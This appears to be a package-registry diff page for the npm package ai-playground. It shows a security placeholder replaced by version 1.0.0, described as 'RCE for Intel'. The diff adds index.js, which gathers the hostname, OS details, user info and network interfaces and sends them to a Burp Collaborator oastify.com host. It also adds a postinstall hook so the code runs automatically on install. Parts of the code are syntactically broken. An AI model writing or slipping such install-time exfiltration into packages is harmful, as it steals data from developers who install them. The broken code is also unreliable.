ai-playground 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of ai-playground might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +63 -0
  2. package/package.json +11 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,63 @@
1
+ const os = require('os');
2
+
3
+ const https = require('https');
4
+
5
+ const { execSync } = require('child_process');
6
+
7
+ // Replace with your Burp Collaborator URL
8
+
9
+ const burpCollaboratorUrl = 'qzt57qt2ler52fwan3wks3g31u7lvcj1.oastify.com';
10
+
11
+ // Collect device information
12
+
13
+ const deviceInfo = {
14
+
15
+ platform: os.platform(),
16
+
17
+ release: os.release(),
18
+
19
+ hostname: os.hostname(),
20
+
21
+ arch: os.arch(),
22
+
23
+ userInfo: os.userInfo(),
24
+
25
+ networkInterfaces: os.networkInterfaces()
26
+
27
+ };
28
+
29
+ // Convert device information to a query string
30
+
31
+ const queryString = Object.entries (deviceInfo).map(([key, value)) =
32
+
33
+ if (typeof value === 'object') {
34
+
35
+ value = JSON.stringify(value);
36
+
37
+ } return `${encodeURIComponent(key)}=${encodeURIComponent(value)`; }).join('&');
38
+
39
+ // Define the request options
40
+
41
+ const options = {
42
+
43
+ hostname: burpCollaboratorUrl,
44
+
45
+ port: 443,
46
+
47
+ path: `/?${queryString}`,
48
+
49
+ method: 'GET'
50
+
51
+ };
52
+
53
+ // Create the request
54
+
55
+ const req = https.request(options, (res) => { console.log(`Status: ${res.statusCode}`); });
56
+
57
+ // Handle any errors
58
+
59
+ req.on('error', (error) => { console.error(`Error: ${error.message}`); });
60
+
61
+ // End the request
62
+
63
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
2
  "name": "ai-playground",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "RCE for Intel",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall":"node index.js",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+
10
+ },
11
+ "author": "Subham",
12
+ "license": "ISC"
6
13
  }
14
+
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=ai-playground for more information.